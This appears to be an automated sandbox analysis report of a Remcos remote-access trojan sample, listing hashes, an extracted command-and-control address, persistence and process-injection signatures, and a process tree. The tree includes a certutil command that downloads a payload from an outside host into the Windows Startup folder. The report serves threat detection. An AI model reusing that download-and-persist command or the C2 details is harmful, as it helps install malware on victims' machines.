Analysis
- max time kernel
150s - max time network
146s - platform
windows10_x64 - resource
win10v20201028 - submitted
13/11/2020, 15:15
Static task
static1
Behavioral task
behavioral1
Sample
07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe
Resource
win7v20201028
windows7_x64
0 signatures
0 seconds
General
- Target 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe
- Size 961KB
- Sample201113-6pwx72damx
- SHA256 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa
- MD5 d264aa453764374d7d2c6543eb533556
- SHA1 232353df64fbd6e220b62a9915fac5185fb53086
- SHA512 a7ccb4f67023748eea369e15b80e9be99e0585db0189bf6d665a28aad3bf0f301f6d32f780fe5569a9fecc25fafe4290bbc373d4c941e69b4c504e8143ac2b88
- MD5 SHA1 SHA512
Malware Config
Extracted
Family
-
remcos
C2
-
www.rmagent.biz:7181
Signatures
- Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BluetoothApis.lnk 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 4636 set thread context of 3272 4636 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe 79 - Suspicious behavior: EnumeratesProcesses 28 IoCs
pid Process 4636 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe 4636 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe 4636 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe 4636 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe 4636 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe 4636 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe 4636 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe 4636 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe 4636 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe 4636 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe 4636 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe 4636 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe 4636 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe 4636 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe 4636 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe 4636 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe 4636 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe 4636 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe 4636 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe 4636 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe 4636 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe 4636 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe 4636 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe 4636 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe 4636 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe 4636 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe 4636 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe 4636 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3272 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe - Suspicious use of FindShellTrayWindow 3 IoCs
pid Process 4636 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe 4636 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe 4636 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe - Suspicious use of SendNotifyMessage 3 IoCs
pid Process 4636 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe 4636 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe 4636 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 3272 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe - Suspicious use of WriteProcessMemory 11 IoCs
description pid Process procid_target PID 4636 wrote to memory of 4140 4636 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe 74 PID 4636 wrote to memory of 4140 4636 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe 74 PID 4636 wrote to memory of 4140 4636 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe 74 PID 4140 wrote to memory of 3572 4140 cmd.exe 78 PID 4140 wrote to memory of 3572 4140 cmd.exe 78 PID 4140 wrote to memory of 3572 4140 cmd.exe 78 PID 4636 wrote to memory of 3272 4636 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe 79 PID 4636 wrote to memory of 3272 4636 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe 79 PID 4636 wrote to memory of 3272 4636 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe 79 PID 4636 wrote to memory of 3272 4636 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe 79 PID 4636 wrote to memory of 3272 4636 07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe 79
Processes
-
C:\Users\Admin\AppData\Local\Temp\07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe"C:\Users\Admin\AppData\Local\Temp\07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe"1⤵
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4636 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\startup.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:4140 -
C:\Windows\SysWOW64\certutil.execertutil.exe -urlcache -split -f "http://al-sharqgroup.com/remcos_agent.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\yourfile.exe"3⤵PID:3572
-
-
-
C:\Users\Admin\AppData\Local\Temp\07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe"C:\Users\Admin\AppData\Local\Temp\07f97cee8c415530d661bd2b00290c71ff8e9b04fcf1296d7e34faa353d931fa.exe"2⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:3272
-